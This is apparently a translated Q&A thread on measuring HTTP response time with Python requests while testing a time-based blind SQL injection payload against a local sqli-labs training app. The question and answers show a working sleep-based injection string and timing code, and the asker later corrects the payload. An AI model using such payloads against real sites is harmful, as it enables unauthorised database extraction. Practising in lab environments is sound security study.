Измерение времени ответа HTTP с библиотекой запросов в Python. Я делаю это правильно?

Я пытаюсь вызвать искусственную задержку ответа HTTP от веб-приложения (это метод, используемый для слепых SQL-инъекций). Если приведенный ниже HTTP-запрос отправляется из браузера, ответ от веб-сервера возвращается через 3 секунды (вызвано сном (3)):

http://192.168.2.15/sqli-labs/Less-9/?id=1'+and+if+(ascii(substr(database(),+1,+1))=115,sleep(3),null)+--+

Я пытаюсь сделать то же самое в Python 2.7, используя библиотеку запросов. Код у меня есть:

import requests

payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = r.elapsed.total_seconds()
print roundtrip

Я ожидал, что время в оба конца составит 3 секунды, но вместо этого я получаю значения 0,001371, 0,001616, 0,002228 и т. д. Я неправильно использую атрибут elapsed?


person user1720897    schedule 25.05.2015    source источник


Ответы (2)


истекшее измеряет время между отправкой запроса и его завершением. синтаксический анализ заголовков ответа до тех пор, пока не будет передан полный ответ.

Если вы хотите измерить это время, вам нужно измерить его самостоятельно:

import requests
import time

payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
start = time.time()
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = time.time() - start
print roundtrip
person mata    schedule 25.05.2015
comment
Поправьте меня, если я ошибаюсь: requests.get - это блокирующий вызов, поэтому наличие r.content на самом деле не обязательно ждать, пока не будет передан полный контент. - person dv3; 13.03.2017
comment
@dv3, да, вы правы, если вы не используете stream=True (по умолчанию False), контент будет загружен немедленно, в противном случае get() возвращается, когда заголовки получены. - person mata; 13.03.2017

Я понял, что моя полезная нагрузка должна была быть

payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) -- "}

Последний символ «+» в исходной полезной нагрузке передается во внутреннюю базу данных, что приводит к недопустимому синтаксису SQL. Я не должен был делать какое-либо ручное кодирование в полезной нагрузке.

person user1720897    schedule 26.05.2015